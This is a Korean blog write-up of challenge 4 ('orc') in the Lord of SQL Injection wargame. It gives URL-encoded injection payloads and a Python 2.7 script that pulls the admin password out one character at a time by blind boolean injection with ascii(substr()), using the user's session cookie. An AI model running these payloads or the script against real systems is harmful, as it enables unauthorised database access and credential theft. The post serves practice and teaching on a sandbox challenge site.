Lord Of SQL injection, 문제 4번 오크입니다.
이 문제는 pw 파라미터를 사용해서 admin 계정의 정확한 비밀번호를 구한다음 입력해야 클리어하는 문제입니다.
첫번째 문단에서는 select로 출력되는 id가 admin이면 Hello admin이라는 문자열을 출력합니다.
지금 상태에서는 pw에 아무 값도 없으니 출력되지 않는 것입니다.
두번째 문단에서는 GET으로 가져온 파라미터를 조건으로 정해서 select로 해당하는 admin의 pw를 추출합니다.
이 두번째 쿼리까지 해결해야 오크 문제를 클리어할 수 있습니다.
그럼 첫번째 쿼리부터 참으로 바꿔보겠습니다.
pw=1234%27%20or%20id=%27admin
주소에서 그대로 긁어온 것인데요..
%27은 Single quote
%20은 Space bar를 눌렀을 때 생기는 공백입니다.
위와 같이 작성하면 Hello admin을 출력하게 됩니다.
그렇다면, 두번째 쿼리는 어떻게 해야할까요?
비밀번호를 알아내기 전에 우리는 비밀번호의 길이를 확인해야합니다.
이 때 확인할 수 있는 명령은 LENGTH() 입니다.
pw=1234%27%20or%20id=%27admin%27%20and%20LENGTH(pw)=1%20--%20
뒤에 주석을 쓴 것은 이미 쓰여져있는 싱글 쿼터를 무시하기 위해서입니다.
LENGTH는 완전히 기능 함수이기 때문에 문자열로 인식되면 안됩니다.
이에 대해서는 좀 더 자세한 도움말이 있습니다. 참고하시면 좋습니다.
LENGTH(pw)=숫자
이런 식으로 입력하여 길이가 1인지 2인지 일일이 확인을 합니다.
결과가 참이면 (그 길이가 맞다면) HELLO admin 이 출력될 것이고 거짓이라면 아무것도 출력되지 않습니다.
결과적으로 비밀번호 길이는 8인데요.
이제부터는 손수 직접할 수 도 있지만 파이썬을 이용하시면 더욱 빠릅니다.
제가 생각했던 것은 substring() 인데,
이것은 지정한 길이만큼 문자열을 출력하는 기능을 합니다.
그래서 비밀번호를 모두 출력해서 보냐구요? 아닙니다.
출력은 하겠지만 그게 맞는지 확인할 길이 없습니다.
그래서 첫째자리부터 한 자리씩 비교하는 작업을 할 것입니다.
SUBSTR(pw,1,1)=0
이 명령은 pw에 있는 값을 1번째 자리부터 1개만 출력해서 0인지 비교하는 것입니다.
참인지 거짓인지는 Hello admin을 출력했을 때입니다.
그럼 진짜 이제 하려면?
SUBSTR(pw,변수1,1)=변수2
변수1에서는 1부터 8까지 차례대로 넣으면되고
변수2에서는 0~9 그리고 a-z까지 넣으면됩니다.
경우의 수는... 8 * (10+26) = 288 개입니다.
이걸 손으로 하라면 할 수 있지만 꽤 힘들죠.
그래서 파이썬 2.7에서 사용하는 스크립트를 준비했습니다.
얌체같이 그냥 다 복사하고 붙여넣기하면 어떻게든 되겠지라는 생각은 접어주세요. 수정하셔야할 부분이 있습니다.
import urllib2
for i in range(8):
for j in range(ord('0'),ord('z')):
url="http://los.sandbox.cash/chall/orc_임시페이지주소.php?pw=1%27%20or%20id=%27admin%27%20and%20ascii(substr(`pw`,"+str(i+1)+",1))%20=%20%27"+str(j)
req=urllib2.Request(url, headers={ 'User-Agent': 'Mozilla/5.0' })
req.add_header("Cookie","PHPSESSID=쿠키값")
if urllib2.urlopen(req).read().find("Hello admin") != -1:
print chr(j),
break
이중 for문을 사용해서 i는 변수1에 해당합니다. 각 자릿수를 정하는 것이죠.
j는 변수2로써 실질적으로 비교를 수행하는 변수입니다.
ord()는 문자를 아스키코드로 변환합니다.
예를들어, ord('a') = 97
pw1' or id='admin' and ascii(substr(`pw`, "+str(i+1)+", 1)) = "+str(j)
or 앞은 거짓으로 만들었습니다.
그리고 id는 admin으로 가리키고 substr 앞에 ascii를 사용한 이유는
좀 더 수월하게 비교하기 위함입니다.
아스키 코드는 숫자이니까 문자를 배열로 사용하는 방법보다 간단하고
두번째 for문에서 ord('0') = 48부터 j가 1씩 증가하면서 계산하게 될 것입니다.
substr 안에서 pw를 감싼 것은 Back quote ( ` ) 입니다. 키보드 오른쪽 끝 상단에 있는 ~ 이 있는 자리이죠.
i + 1과 j 를 str로 감싼 이유는 url을 보낼때 string 형식으로만 보낼 수 있기 때문에 강제로 자료형을 변환하시는 것으로 보시면 되겠습니다.
url 부분은 이렇게 끝이나구요.
req는 이제 url에 헤더와 사용자의 쿠키값을 추가해서 urlopen을 통해 보내는 것입니다.
쿠키값은 크롬 확장도구인 EditThisCookie를 이용할 수도 있고 각 브라저의 콘솔창에서 document.cookie를 입력하면 쿠키 값을 볼 수 있습니다.
(무조건 해당 los 페이지에서 콘솔창을 열어야합니다.)
url을 열었다면 그 결과가 참이다.
그렇다면 chr를 통해서 아스키 코드를 문자형으로 변환해 출력하고
for문을 break 합니다.
그러면 자동으로 다음 번째 자리로 넘어가서 다시 0부터 z까지 해당하는 아스키코드를 비교하게 되는 것입니다.
이번에만 이 소스가 쓰이는 것이 아니라 뒤에서도 많이 쓰이기 때문에
여기서 이 소스코드를 정확히 알아 두시면 편리할 것입니다.
다음 문제에서 이 소스코드를 사용할 시 완전한 파일은 올리지 않을 것입니다..
문제 페이지 주소와 쿠키값을 수정하시고 작동시키면 몇분안에 답이 출력될 것입니다.
pw=답답답답답답답답
이런 식으로 비밀번호 8자리를 입력하면 됩니다.
'워게임 > LOS' 카테고리의 다른 글
[워게임 LOS] 문제 6번, 다크엘프(darkelf) (0) | 2016.07.12 |
---|---|
[워게임 LOS] 문제 5번, 울프맨(wolfman) (0) | 2016.07.12 |
[워게임 LOS] 문제 3번, 고블린(goblin) (0) | 2016.07.12 |
[워게임 LOS] 문제 2번, 코볼트(cobolt) (0) | 2016.07.12 |
LOS 접속 방법 (0) | 2016.07.12 |